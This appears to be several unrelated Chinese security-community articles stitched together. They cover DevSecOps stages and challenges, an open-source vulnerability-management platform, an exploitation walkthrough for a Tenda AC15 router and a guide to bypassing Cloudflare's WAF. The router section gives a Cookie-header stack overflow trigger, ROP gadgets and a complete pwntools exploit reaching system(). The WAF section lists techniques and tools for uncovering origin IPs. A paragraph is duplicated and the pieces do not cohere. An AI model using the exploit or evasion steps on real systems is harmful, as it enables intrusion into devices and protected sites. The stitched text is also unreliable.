其中 **混沌工程和集成测试都是软件及测试工程中一些专用的动作，这里映射到安全动作的话更多是通过这些工程方法实现一些安全测试的目的** 。
同时在预发布阶段，除了以上三种动作，其实类似主机安全测试、容器镜像检查等都可以是在预发布执行的安全动作。在实际执行和落地过程，通常也会有一些安全动作比较难以清晰的划分是在验证或者预发布阶段进行，两个阶段在一些特殊场景下可能会出现互相融合的情况。
#### 发布（Release）
针对发布阶段，在DevSecOps的流程中主要动作是软件签名， **与预防阶段结合来看，主要是软件防篡改** 。
#### 预防（Prevent）
预防阶段在过去版本的DevSecOps模型中也被叫为配置（Configure）阶段，在最新的模型中被调整为预防（Prevent），从调整也可以看得出，该阶段理论和实践性还有待进一步发展和细化。
该阶段主要包含有签名验证、完整性检查和纵深防御。
其中签名验证是呼应发布阶段的软件签名，以及进行完整性检查，两者都是保障软件的一致性，避免传输等过程软件被篡改、替换等情况。
而纵深防御（Defence-in-Depth,
DiD）其核心思想简单来说就是层层防御。采用分层的机制，通过层层的安全防护和监控手段而非指望单一的安全手段来建立安全防御体系，纵深防御的目标是确保每层都知道如何在可疑的攻击事件中采取行动，限制恶意或意外破坏的机会，并最大限度地提高快速
识别任何安全漏洞的机会。
#### 检测（Detect）
**从预防阶段，就已经从开发切换到运维阶段，而检测阶段则更符合传统安全中相关的安全监控动作，该阶段主要包含有RASP、UEBA、网络流量监控、
渗透测试几个安全动作。**
RASP(Runtime Application Self-Protection，应用运行时自我保护)，Gartner在2014年引入RASP这个概念。RSAP将自身注入到应用程序中，与应用程序融为一体，实时监测、阻断攻击，使程序自身拥有自保护的能力。RASP的注入方式类似于某些IAST，但其更强调的是安全防护和阻断能力，国内比较
出名的有百度的OpenRASP。
UEBA（User and Entity Behavior
Analytics，用户行为分析）其也是Gartner提出并的一个安全名称，说白了就是通过行为分析来识别恶意行为，一般在讲述这个概念的时候会提及用户画像、机器学习等自动化学习、分析和预测能力。
网络流量监控其实是类似于UEBA的一个东西，其核心是通过对流量进行监控分析，识别其中恶意的流程，即一些攻击行为等。
而渗透测试通常就是指通过人工等方式进行软件或者系统的测试仪发现攻击者可以利用的攻击途径或者安全问题。引申的话其实还涉及到红蓝对抗，在渗透测试的基础上更强调攻击方与防御方的对抗过程，以此验证整体安全防御体系及相应机制等。
其实除了以上4个安全动作，在运维阶段可以进行的安全检测或者监控远不止如此，过去在安全落地过程通常通过相关安全监控来进行补偿性的安全问题发现，一般就是位于该阶段，如高危端口开放检测、系统漏洞扫描等。
而渗透测试通常就是指通过人工等方式进行软件或者系统的测试仪发现攻击者可以利用的攻击途径或者安全问题。引申的话其实还涉及到红蓝对抗，在渗透测试的基础上更强调攻击方与防御方的对抗过程，以此验证整体安全防御体系及相应机制等。
其实除了以上4个安全动作，在运维阶段可以进行的安全检测或者监控远不止如此，过去在安全落地过程通常通过相关安全监控来进行补偿性的安全问题发现，一般就是位于该阶段，如高危端口开放检测、系统漏洞扫描等。
#### 响应（Respond）
**在DevSecOps的响应阶段，安全动作主要包含有安全编排、基于RASP/WAF的防护、以及混淆。**
**基于RASP/WAF安全防护是指通过WAF或RASP的方式，针对 Web 攻击进行拦截阻断， 以实现避免由于Web 攻击导致的拖库等后果。**
而混淆主要是指代码混淆，更多是针对移动APP的混淆操作，避免APP反编译等。
安全编排一般是指安全编码自动化和响应(SOAR)，也是Gartner在2017年提出的概念，它是安全编排与自动化（SOA，Security
Orchestration and Automation）、安全事件响应平台（SIRP，Security Incident Response
Platform）和威胁情报平台（TIP，Threat Intelligence Platform）三种技术/工具的
融合，目的是快速准确的响应和预测安全事件。
#### 预测（Predict）
预测阶段主要涉及漏洞相关性分析与威胁情报。
漏洞相关性分析（Application Vulnerability Correlation，AVC）也是 Gartner
提的一个概念，是一种应用程序安全性工作流和流程管理工具，旨在通过将来自各种安全测试发现的不同数据源的漏洞进行统一管理和自动关联，从而简化漏洞的修复。通俗的解释，
**由于存在不同类型的应用安全测试工具，如上文的 SAST、DAST、IAST
等，那么不同工具的使用会产生不同标准和格式的漏洞结果，会存在重复扫出同一个漏洞等情况，漏洞相关性分析通过自动分析和关联合并漏洞，这样开发人员就可以更便捷和快速的修复安全问题，提升安全效率**
。
**威胁情报（Threat Intelligence，TI），根据 Gartner
对威胁情报的定义，威胁情报是某种基于证据的知识，包括上下文、机制、标示、含义和能够执行的建议，这些知识与资产所面临已有的或酝酿中的威胁或危害相关，可用于资产相关主体对威胁或危害的响应或处理决策提供信息支持**
。业内大多数所说的威胁情报可以认为是狭义的威胁情报，其主要内容为用于识别和检测威胁的失陷标识，如文件 HASH，IP，域名，程序运行路径，
注册表项等，以及相关的归属标签。威胁情报旨在为面临威胁的资产主体 ( 通常为资产所属企业或机构 ) 提供全面的、准确的、与其相关的、并且
能够执行和决策的知识和信息。其中IOC（Indicators of
Compromise）叫做入侵威胁指标，是威胁情报的关键信息，通常是如恶意文件指纹、进程信息、恶意域名、C&C 服务器 IP 等。
由于威胁情报可能有不同的来源，那么意味着其有不同的结构和标准， **为了统一威胁情报表达和交换标准，方便进行不同来源威胁情报的使用，
就诞生了对应的威胁情报标准，其中结构化威胁信息表达式（StructuredThreatInformationeXpression，STIX）和指标信息的可信自动化交换
（TrustedAutomatedeXchangeofIndicatorInformation，TAXII）就是其中的核心的两个标准。前者提供了基于标准
XML 语法描述威胁情报的细节和威胁内容的方法，后者则定义了威胁情报的交换协议。所以通常使用 STIX 来描述情报，而使用 TAXII 来传输交换情报**
。
#### 适应（Adapt）
适应阶段主要强调了安全技术债务、修改应急响应方案、安全防御方案等几个点。其实这个阶段也可以称作优化阶段，主要是
**基于DevSecOps实施的整个流程的情况，进行持续的适配改进和项目调整优化，对应到过去安全动作，可以理解为持续运营反馈调整的过程，包含对相关安全问题的持续跟踪、闭环，对DevSecOps过程中相关安全动作如策略的调整等**
。
### 实践
对上述几个部分应该进行的安全活动和需要采取的安全措施及方法进行了重点分析，并进一步给出了安全运营实践中各项能力的建设方法
DevSecOps 理念是将安全能力内建到研发运营工具中，形成 DevSecOps研发运营安全工具链
DevSecOps所涉及的各个工具链，应与企业的DevOps 平台进行整合。DevOps本身就包含了复杂的多种多样的工具，如果再加上安全
工具，无疑会增加工作复杂性，使得研发运维和安全人员无从下手，进而导致 DevSecOps
无法真正落地。因此，完善的DevSecOps方案不是提供单个工具，而是提供统一平台，打通所需的各种安全工具或产品，并在其中内置最佳实践。
完善的DevSecOps平台，有助于降低入门成本，以高效的方式解决软件研发流程中的安全问题。
#### 风险发现能力建设
安全风险发现能力建设贯穿业务创建到业务交付的全过程，在DevSecOps工具链的创建、验证、预发布、发布这四个阶段，通过使用一系列技术手段，在建设初期发现安全问题，实现安全“左移”，
确保 DevSecOps 团队开发的产品和服务符合安全最佳实践、法律法 规和行业标准要求，并实现安全合规性。
（1）在创建阶段，通过制定安全编码规范及流程，采用相关的安全插件，在本阶段尽可能的消除安全风险；
（2）在验证阶段，通过一系列安全测试工具，比如：DAST、 IAST、SAST、SCA 等，检测漏洞，提高风险发现能力；
（3）在预发布和发布阶段，通过模糊测试和软件签名等方式开 展相应的安全活动。
#### 安全防御能力建设
安全防御能力建设主要集中在工具链的预防阶段和检测阶段，过这两个阶段的相应工具作用，可以达到有效防范不正当的数据访问和操作行为，降低安全风险，确保在发生网络与信息安全事件后
能够及时止损，保障业务系统安全和稳定运行，最大程度的降低安 全事件带来的影响。
（1）在预防阶段，通过开展签名验证和完整性检查来保证应用 及其部署环境的安全性，为检测阶段的开展奠定基础；
（2）在检测阶段，需要在运行时采用应用程序自保护（RASP）、网络流量监控、资产安全监控等方式保护业务安全。
#### 安全运营能力建设
安全运营能力建设是指在遵循安全风险规范的基础上，从内部运营角度出发，覆盖漏洞预警、安全培训、安全流程建设、安全规范建设等内容，搭建内部运营体系；从外部运营角度出发，通过运营
安全应急响应中心、威胁情报平台建设，搭建外部运营安全体系。内外联动完善安全运营体系，提高安全运营能力，实现整体安全水平的飞跃。
（1）在计划阶段，可以从安全培训、威胁建模、制定安全开发衡量指标这几个方面入手，为安全活动的开展奠定基础；
（2）在响应阶段，可以开展安全编排、RASP/WAF 阻断等活动；
（3）在预测阶段，可以通过漏洞相关分析、威胁情报等手段，提高安全预测能力；
（4）在优化阶段，可以从消除技术安全债务、优化应急响应方案入手，提升安全活动的整体水平。
### 落地实施困难
#### 组织挑战
（1）组织文化难以改变
**组织文化是 DevSecOps 在落地实践推进的过程中所面临的一大挑战，如何处理团队之间的沟通协作问题是 DevSecOps 成功的关键因素**
。在企业实际的工作中，团队间协作相关的冲突屡见不鲜，主要协作问题之一是开发团队和安全团队之间的冲突。比如开发团队认为安全团队成员会不客观地判断和批评他们所做的工作；开发人员对失去开发工作的自主权感到不满等。组织中存在部门间孤岛式的工作文化是实践
DevSecOps 的障碍，这些孤岛阻碍了业务相关者之间频繁和有效的沟通与协作。
另外由于企业不重视安全导致的工作人员的安全意识不足，也阻碍着安全工作的开展。 **在采用 DevSecOps
时，需要进行许多文化和行为上的改变。在人员安全意识没有完成转变的情况下，就会出现项目成员的意识与DevSecOps的要求不匹配的情况。**
（2）人员缺乏相应技能
DevSecOps 提倡开发人员参与安全保障过程，并承担相应职责。然而，
**由于开发人员缺乏相应的安全技能与知识阻碍了这一目标的实现。所以，缺乏安全教育和培训的开发人员并不知道该如何实现高安全性的软件，即便他们有意愿加强软件的安全性也无能为力。
与此同时，安全人员由于缺乏开发经验也更进一步增强了开发人员与安全人员之间的冲突** 。
#### 流程挑战
（1）敏捷性与安全性之间难以平衡
**由于 DevSecOps 同时包含了灵活性、复杂性和依赖性，因此要同时实现安全性和敏捷性就成为了一个难题**
，在很多场景下，安全性和敏捷性之间会表现出不兼容性。DevOps
的关键目标之一是释放速度，但许多安全测试过程不可避免地会消耗一定的时间，特别是那些需要人工输入和确认的环节。例如，早期的自动化渗透测试工具虽然可以快速完成渗透测试过程，但同时还需要人工配置和评估输出。因此在
DevSecOps 落地实践的过程中，使用精简高效、主次分明的 DevSecOps 实践方案更容易获得成功。
（2）缺乏标准化的流程和度量标准
在 DevSecOps 体系下，除去 DevOps
所包含的持续集成、持续部署、持续运营之外，持续安全评估也是不可或缺的实践内容。然而，持续安全评估过程并没有行业权威或标准化的实践方案，组织通常需要亲自设计一套适合于自身的流程，对于如何将安全措施内嵌在
DevOps 管道中，目前缺乏行业标准和共识。
**由于DevSecOps并没有行业标准的方案，因此组织中只能按照自己的经验，自主设定安全度量指标，其科学性难以评估和验证。** （
**可以与SAMM，BSIMM模型进行参考对比，衡量指标** ）对安全度量指标看法的分歧，也进一步地加深了安全团队和开发团队之间的矛盾。
#### 技术挑战
（1）传统应用安全工具无法适应新流程
组织在考虑进行DevSecOps实践之前，通常已经进行过应用安全工具的使用，但传统的应用安全工具往往无法适应以敏捷性、流程化为特点的 DevSecOps
体系，传统的安全工具需要经过进一步的优化改造，才能融入到DevSecOps体系中，适应新的流程。
（2）部分安全过程还需要人工的介入
在 DevSecOps 中，由于需要快速和连续的发布，自动化起着重要的作用。为了实现这一目标，DevOps
包含了一组连续的实践，如持续集成、持续交付、持续运营，它们在很大程度上是自动化的。然而，安全实践的自动化有其自身的困难，因为它们中的许多过程，在传统上是需要手动执行的。目前难以完全实现自动化的安全保证
过程包括而不止于：安全隐私设计、安全需求分析、威胁建模和渗透测试等。
#### 维度挑战
（1）团队融合引入新的风险
开发团队、安全团队和运营团队的融合协作，导致风险管理更加的复杂。例如与传统体系相比，开发人员在 DevSecOps
体系中的角色发生了变化，现在他们可以获得部分生产环境的信息和权限。更多的人接触生产环境意味着更大的风险。开发人员可以通过访问用于控制环境的生产设置或治理工具来对生产环境造成影响。因此随着
DevSecOps 中角色的变化和团队的融合，内部威胁所导致的风险会相应增加。
（2）流程打通导致攻击面扩大
与人员融合造成风险提升类似的是，技术与工具通过流程进行的融合，也会导致攻击面的扩大。例如， **CD（持续交付）阶段的一个关键安全问题是 CD
管道本身的安全漏洞。CD 管道的大部分技术组件在具有多个开放式 API 的环境中运行，由于其开放性，这些组件容易受到各种恶意攻击**
。因此理论上，CD管道扩大了额外的攻击面。另外，很多组织中，大多数项目团队成员都可以访问 CD
管道配置，但由于缺乏安全知识和意识，这些成员也对基础设施和应用程序构成了威胁。
## reference
2020 DevSecOps 企业实践白皮书 <https://www.freebuf.com/articles/243414.html>
什么是DevOps？ <https://www.zhihu.com/question/58702398/answer/1755254160>
CU-DevSecOps 实践白皮书 | 社区文章 |
# 开源干货爆料→宜信漏洞管理平台『洞察』开源啦！
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面
**作者浅言**
：做了多年应用安全一直想出点干货，经常看众大神分享经验，仰望的同时总是想有一天自己也能贡献点什么。在宜信工作许久，经验也积攒了一些，不敢说干货多硬，只能算是近几年工作经验的沉淀，作为宜信安全部出品的首个开源平台，希望能给阅读者带来启示和帮助。更欢迎同行各位大佬给予斧正，共同交流经验和从业心得体会，在此谢过。
## – 0x01 功能介绍 –
『洞察』是宜信安全部开发，集成`应用系统资产管理`、`漏洞全生命周期管理`、`安全知识库管理`三位一体的管理平台。
★ 应用系统资产管理：对公司应用系统资产进行管理，包括系统名称、域名、重要级别、部门、负责人等。
★ 漏洞生命周期管理：对公司应用系统产生的安全漏洞进行线上提交、通告、知悉、复测、分类、风险计算、修复期限计算、邮件提醒、漏洞数据分析统计等。
★ 安全知识库管理：对安全知识、管理制度进行集中存放、线上学习、安全培训、知识传承等。
洞察使用了Python语言进行开发，利用Flask框架+MySQL+Docker部署实现。
洞察界面截图：
## – 0x02 设计理念 –
应用安全管理从应用资产的风险评估开始，公司资产一旦多了之后，往往会面临资产不清晰、找不到负责人、漏洞持续跟踪成本高昂、安全知识难以沉淀、高频风险没有数据支持、不能有的放矢的解决核心问题，另外`风险量化`也是难题。
应用安全管理体系设计中，风险治理一般过程如下：
基于上述风险治理的实际需求，『洞察』应运而生。
## – 0x03 平台亮点 –
使用『洞察』系统后，我们实现了以下目标，请看大图：
历史漏洞一目了然
漏洞跟踪有条不紊
学习案例信手拈来
威胁风险有理有据
####
安全要求精准管控
量化数字实时知晓
## 0x04 Github项目地址
说了这么多，最重要的来了，『洞察』宜信漏洞管理平台现在正式开源，更多详情请见github项目地址：
<https://github.com/creditease-sec/insight>
欢迎安全小伙伴使用、交流、fork、star、转发。
也欢迎安全小伙伴在使用洞察过程中和我们多多交流，扫描下方二维码，关注宜信安全应急响应中心公众号，回复“可供搜索的微信号+洞察”，我们的运营小姐姐九色鹿会拉你进群讨论。 | 社区文章 |
## 漏洞分析
官网上即可获取下载含漏洞版本固件[V15.03.1.16](https://down.tendacn.com/uploadfile/201401/AC15/US_AC15V1.0BR_V15.03.1.16_multi_TD01.rar)，使用`binwalk`解压，可在目录`bin\`目录下找到`httpd`程序，使用`IDA`打开`httpd`程序。
根据在`IDA`中看到的`websUrlHandlerDefine`等函数，可以判定程序使用的是`GoAhead`框架，另外在字符串中找到了`2.1.8`，可以进一步确定程序使用的框架是`GoAhead
2.1.8`。在[github](https://codeload.github.com/embedthis/goahead/zip/v2.1.8)可以下载框架源码。下载源码的目的在于补全一些结构体的定义,方便逆向.
漏洞点位于`R7WebsSecurityHandler`中，为了更清楚的查看此处代码，我们根据`GoAhead`针对此处的一些结构体进行声明，并针对一些变量的名称进行一些修改。
> 小技巧 : IDA中导入C语言声明的结构体.在View-->Open Subviews-->Local
> Types中可以看到本地已有的结构体，在该窗口中右击insert.可以添加C语言声明的结构体
本程序的分析,添加了以下两个结构体:
struct ringq_t{
unsigned char *buf; /* Holding buffer for data */
unsigned char *servp; /* Pointer to start of data */
unsigned char *endp; /* Pointer to end of data */
unsigned char *endbuf; /* Pointer to end of buffer */
int buflen; /* Length of ring queue */
int maxsize; /* Maximum size */
int increment; /* Growth increment */
}
struct websRec {
ringq_t header; /* Header dynamic string */
__time_t since; /* Parsed if-modified-since time */
char* cgiVars; /* CGI standard variables */
char* cgiQuery; /* CGI decoded query string */
__time_t timestamp; /* Last transaction with browser */
int timeout; /* Timeout handle */
char ipaddr[32]; /* Connecting ipaddress */
char type[64]; /* Mime type */
char *dir; /* Directory containing the page */
char *path; /* Path name without query */
char *url; /* Full request url */
char *host; /* Requested host */
char *lpath; /* Cache local path name */
char *query; /* Request query */
char *decodedQuery; /* Decoded request query */
char *authType; /* Authorization type (Basic/DAA) */
char *password; /* Authorization password */
char *userName; /* Authorization username */
char *cookie; /* Cookie string */
char *userAgent; /* User agent (browser) */
char *protocol; /* Protocol (normally HTTP) */
char *protoVersion; /* Protocol version */
int sid; /* Socket id (handler) */
int listenSid; /* Listen Socket id */
int port; /* Request port number */
int state; /* Current state */
int flags; /* Current flags -- see above */
int code; /* Request result code */
int clen; /* Content length */
int wid; /* Index into webs */
char *cgiStdin; /* filename for CGI stdin */
int docfd; /* Document file descriptor */
int numbytes; /* Bytes to transfer to browser */
int written; /* Bytes actually transferred */
void (*writeSocket)(struct websRec *wp);
}
简单修改完毕,查看漏洞点:
在`sscanf`时,`cookie`长度没有进行限制,因此造成栈溢出.
为了抵达此处,还需满足前边的一些条件:
即`url`值不能为空,不能为`\`,长度不能是1,且不能是以上字符
满足以上条件进入`if`后,`url`还不能是`index.html`.
因此可构造以下数据包触发崩溃:
GET /goform/execCommand HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Cookie: password=“A”*501
## 仿真模拟
复制`qemu-arm-static`到解压后的固件目录下,尝试用`qemu`运行`httpd`程序:
$ sudo chroot . ./qemu-arm-static ./bin/httpd
init_core_dump 1784: rlim_cur = 0, rlim_max = -1
init_core_dump 1794: open core dump success
init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120
Yes:
****** WeLoveLinux******
Welcome to ...
发现卡顿到此处,在`IDA`中定位这个字符串:
推测可能是`check_network()`这个函数没有通过卡死在这里了.但仔细看了以下,这个函数并没有返回什么关键信息,只是一个简单检查,因此可以直接`patch`掉.
另外,继续向下运行还会遇到一个检查函数`ConnectCfm`,也直接`patch`掉即可,`patch`完的效果如图:
`patch`完再进行模拟:
$ sudo chroot . ./qemu-arm-static ./httpd
[sudo] password for island:
init_core_dump 1784: rlim_cur = 0, rlim_max = -1
init_core_dump 1794: open core dump success
init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120
Yes:
****** WeLoveLinux******
Welcome to ...
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
[httpd][debug]----------------------------webs.c,157
Unsupported setsockopt level=1 optname=13
httpd listen ip = 255.255.255.255 port = 80
根据提示信息推测应该是没有获取到真正的本机`ip`,通过`httpd listen`定位:
经过回溯,发现这个`ip`来自于`g_lan_ip`这个全局变量,而这个全局变量来自于以下部分:
大概的流程就是去寻找`br0`这个网络接口的`IP`,并在这个`ip`进行监听.但是我本机目前没有`br0`这个网络接口,所以获取的`ip`地址不对,为了解决这个问题其实可以有两个思路来做:
1. 对源程序进行`patch`,将`br0`这个接口更改为本机的`ens160`这个网卡
2. 或者在本机新建一个桥接网卡`br0`
两个思路应该都是可行的,为了方便我采用第二个方法,因为这一步骤我们在之前配置环境的时候做过了,具体可参考这个[链接](https://island123.github.io/2020/02/12/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA--%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8qemu%E8%BF%90%E8%A1%8C%E5%90%84%E7%A7%8D%E6%8C%87%E4%BB%A4%E6%9E%B6%E6%9E%84%E7%A8%8B%E5%BA%8F/)
在配置好`br0`网卡后再进行仿真:
$ sudo chroot . ./qemu-arm-static ./httpd
init_core_dump 1784: rlim_cur = 0, rlim_max = -1
init_core_dump 1794: open core dump success
init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120
Yes:
****** WeLoveLinux******
Welcome to ...
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
[httpd][debug]----------------------------webs.c,157
Unsupported setsockopt level=1 optname=13
httpd listen ip = 192.168.5.179 port = 80
webs: Listening for HTTP requests at address 192.168.5.179
可以看到,此时模拟已经成功模拟起来了.
写一个简单的`poc`测试:
import requests
ip = "192.168.5.179"
url = "http://%s/goform/execCommand"%ip
cookie = {"Cookir":"password="+"A"*501}
ret = requests.get(url=url,cookies=cookie)
print ret.text
运行`poc`,可以看到崩溃:
httpd listen ip = 192.168.5.179 port = 80
webs: Listening for HTTP requests at address 192.168.5.179
Unsupported setsockopt level=1 optname=13
connect: No such file or directory
Connect to server failed.
[1] 16261 segmentation fault (core dumped) sudo chroot . ./qemu-arm-static ./httpd
## 漏洞利用
使用以下命令模拟`httpd`程序并尝试进入调试模式:
`$ sudo chroot . ./qemu-arm-static -g 1234 ./httpd`
使用`pwndbg`尝试调试上面的`poc`:
发现崩溃点在`0x6623954`,尝试`bt`寻找调用路径,最后发现是在`R7WebsSecurityHandler`这个函数的此处:
如果流程跑到这里继续执行的话可能无法控制`pc`值进而无法控制函数流,因此考虑能否绕过不执行这里,很幸运,我们找到了这里:
如果这个`if`不满足,则不会跳转到`sub_2c568`.这里是检验`url`里是否包含一些特征字符,如果包含则不用进入下面`if`流程直接`return`.
**但是直接在`url`中包含这几个特征字符串是不行的**,因为此时的`url`在我们栈溢出的时候已经被覆盖掉了,因此还是要在`cookie`中进行修改
`poc`简单更改来绕过这个限制:
from pwn import *
import requests ip = "192.168.5.179"
url = "http://%s/goform/execCommand"%ip
cookie = {"Cookir":"password="+cyclic(500)+".gifAAAAAAAAAAAAA"}
ret = requests.get(url=url,cookies=cookie)
print ret.text
再次进行调试:
发现已经可以控制`PC`值了,并计算出偏移为444.
偏移已知,`pc`也可控,下面可以进行`rop`了
`httpd`里找不到好的`gadget`,直接去`libc`里面找:
$ ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
....
0x00040cb8 : mov r0, sp ; blx r3
....
此时如果将`r3`赋值为`system`的地址,将要执行的命令放在栈上,就可以执行任意命令了,因此再找一条控制`r3`的`gadget`:
$ ROPgadget --binary ./lib/libc.so.0 --only "pop"
....
0x00018298 : pop {r3, pc}
....
因此`payload`按如下输入即可:
`cyclic(444) + p32(libc_base_addr + 0x00019298) + p32(system_addr) +
p32(libc_base_addr + 0x00040cb8) + "touch ./abcd"`
为了知道`system`地址,还需要去查一下`libc`基地址:
最后进行一下调试:
发现已经跑去执行`system("touch ./abcd")` 了,但是可能因为我使用的是`qemu-user`模拟,所以没有成功创建这个文件.
最终的`exp`:
from pwn import *
import requests
context.binary = "./httpd"
context.log_level = "debug"
libc = ELF("./lib/libc.so.0")
system_offset = libc.symbols["system"]
libc_base_addr = 0xf65e5000
system_addr= libc_base_addr + system_offset
ip = "192.168.5.179"
url = "http://%s/goform/execCommand"%ip
cookie = {"Cookir":"password="+cyclic(444) + ".gif" + flat(libc_base_addr + 0x00018298, system_addr, libc_base_addr + 0x00040cb8)+ "touch ./abcd" }
ret = requests.get(url=url,cookies=cookie)
print ret.text | 社区文章 |
# 前言
CloudFlare是一个被人们广泛使用的Web应用防火墙(WAF)提供商。但是，如果你能在一秒钟内绕过所有这些保护措施，使WAF变得无用，那又会怎样呢？本文是关于绕过具有源站IP地址的Cloudflare
WAF的教程。
下面的介绍不单单局限于Cloudflare WAF
# 介绍
Cloudflare拥有1600多万个[互联网属性](https://www.cloudflare.com/case-studies/
"互联网属性")，现在是最流行的web应用程序防火墙(WAF)之一。一年前，Cloudflare发布了一款快速的DNS解析器，被人们广泛使用。作为反向代理，WAF不仅提供针对DDOS的保护，而且在检测到攻击时还可以触发警报。对于付费订阅，用户可以选择打开针对常见漏洞(如SQLI、XSS和CSRF)的防护，但这必须手动启用，此选项不适用于免费帐户。
虽然WAF非常擅长拦截基本的payload，但绕过Cloudflare
WAF的方式还存在，每天都会出现新的WAF，因此继续测试Cloudflare的安全性是很重要的。就在我写这篇文章的时候：
作为一个bug赏金猎人，绕过防火墙非常值得研究。大体上，可以总结为三种绕过姿势：
1.自定义您的有效负载，以便绕过现有的规则。提高你关于防火墙绕过的技能很有意义，但这可能是一项乏味和耗时的过程，尤其当你是一个bug赏金猎人时，时间是非常宝贵的，如果你喜欢DIY
payload，你最好尝试一下
[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings
"PayloadsAllTheThings")中列出payload，或者在Twitter上搜索。
2.以适当的方式更改请求以中断服务器。和第一种姿势一样，很耗时，需要耐心和良好的fuzz技巧。[Soroush
Dalili](https://twitter.com/irsdl "Soroush
Dalili")写了一个很好的文档，它可以通过使用[HTTP标准和Web服务器](https://www.slideshare.net/SoroushDalili/waf-bypass-techniques-using-http-standard-and-web-servers-behaviour
"HTTP标准和Web服务器")的行为来帮助创建中断服务器的请求。
3.通过查找Web服务器的源IP绕过Cloudflare。这是最简单也是最高效的操作，一旦你得到它，你就不必再担心WAF或DDOS保护(速率限制)。
在本文中，我将重点介绍第三种姿势，以及获得源IP的一切技巧。
CloudFlare是一个必须由人来设置的工具，通常是开发人员或系统管理员。CloudFlare不对使用以下方法成功执行的攻击的错误配置负责。
# 首先，侦察！
这样做的想法是启动正常的侦察过程，尽可能多地获取IP地址(host，nslookup，whois，[ranges](https://bgp.he.net/
"ranges")…)，，然后检查这些服务器中哪些服务器启用了Web服务器(netcat、nmap、mass
can)。一旦有了Web服务器IP的列表，下一步就是检查是否在其中一个服务器上将受保护的域配置为[虚拟主机](https://httpd.apache.org/docs/2.4/en/vhosts/examples.html
"虚拟主机")。如果没有，您将获得默认服务器页面或配置的默认网站。如果是，那么你找到了切入点！使用Burp：
这显示了我正在寻找的子域名，但IP地址错误：
这显示了错误的子域，但具有正确的IP地址：
以下是在正确的时间内，正确的子域遇见了正确的IP地址：
可用于自动执行此过程的一些工具：
<https://pentest-tools.com/information-gathering/find-virtual-hosts>
<https://github.com/jobertabma/virtual-host-discovery>
<https://github.com/gwen001/vhost-brute>
# Censys
如果您的目标拥有SSL证书(这个大部分都有)，那么它将在[Censys](https://censys.io/certificates
"Censys")数据库中注册。在选择输入中选择“证书”，提供目标的域，然后点击`<enter>`。
单击每个结果显示详细信息，然后在右侧的“Explore”菜单中选择“IPv4 Hosts”：
您应该能够看到使用该证书的服务器的IP地址：
从这里，抓住所有的IP，然后回到上一章，尝试通过所有IP访问您的目标。
# 邮件头
下一步是检索目标网站发出的邮件中的邮件头：订阅时事通讯，创建帐户，使用“忘记密码”功能，订购…。简而言之，尽你所能从你正在测试的网站获得一封电子邮件(注意，可以使用Burp
Collaborator)。
一旦你收到一封电子邮件，检查一下来源，特别是邮件头。记录你可以在那里找到的所有IP，以及可能属于某个托管服务的子域。
标头Return-Path的值里面包含了我想要的地址：
使用curl：
另一个技巧是从你自己的邮箱向一个不存在的电子邮件地址@yourtarget.com发送邮件。如果发送失败，您会收到回复通知。
# XML-RPC Pingback
WordPress中的工具，XML-RPC(远程过程调用)，允许管理员使用XML请求远程管理他/她的博客。pingback是ping的响应。当站点A链接到站点B时执行ping，然后站点B响应站点A。这是pingback
您可以通过调用`https://www.target.com/xmlrpc.php`轻松地检查它是否已启用。你可以发现：XML-RPC服务器只接受POST请求。
根据[WordPress XML-RPC Pingback API](https://codex.wordpress.org/XML-RPC_Pingback_API "WordPress XML-RPC Pingback
API")，函数采用2个参数sourceUri和targetUri。以下是在Burp Suite中的呈现：
# 以前的发现
如果您无法使用前面的方法找到来源IP，或者是第一次测试时网站没有保护但后来有了WAF保护，你可以直接从目标网站中获得信息。
基本上，您需要的是目标的Web服务器向您的服务器/collaborator执行请求。利用其他漏洞也是一个不错的办法，SSRF、XXE、XSS或您已经找到的任何漏洞，以注入包含您的服务器/collaborator地址的有效负载并检查日志。如果奏效，然后接着检查虚拟主机。
即使是最简单的漏洞，如Open Redirect或HTML/CSS注入，如果由应用程序Web服务器解析，也会很有用。
# 工具
现在我们已经看到了如何手动查找和检查IP地址，幸运的是，我们的社区中有很好的开发人员。下面就是他们力荐的一些工具，一旦检测到Cloudflare保护，你就可以第一时间使用它们来节省你的宝贵时间。
理论联系实际，没有一成不变的解决方法，将这些工具全部使用一遍，总有一款可以用来查找源IP。
[Cloudsnare.py](http://10degres.net/4IV34V5IC/
"Cloudsnare.py")：censys证书(需要密钥)。
[HatCloud](https://github.com/HatBashBR/HatCloud
"HatCloud")：crimeflare，ipinfo.io。
[CrimeFlare](http://www.crimeflare.org:82/cfs.html
"CrimeFlare")：crimeflare，ipinfo.io。
[bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history "bypass-firewalls-by-DNS-history")：securitytrails，crimeflare。
[CloudFail](https://github.com/m0rtem/CloudFail
"CloudFail")：dnsdumpster，crimeflare，subdomain brute force。
[CloudFlair](https://github.com/christophetd/CloudFlair
"CloudFlair")：需要censys密钥。
[CloudIP](https://github.com/Top-Hat-Sec/thsosrtl/blob/master/CloudIP/cloudip.sh
"CloudIP")：nslookup一些子域名(ftp，cPanel，mail，direct，direct-connect，webmail，portal)
# DNS资源
一句话总结：尽可能多地获取IP地址，DNS服务器是主要关注的焦点，特别是它们的历史将永远存在于互联网内存中。
下面是一些很好的资源。
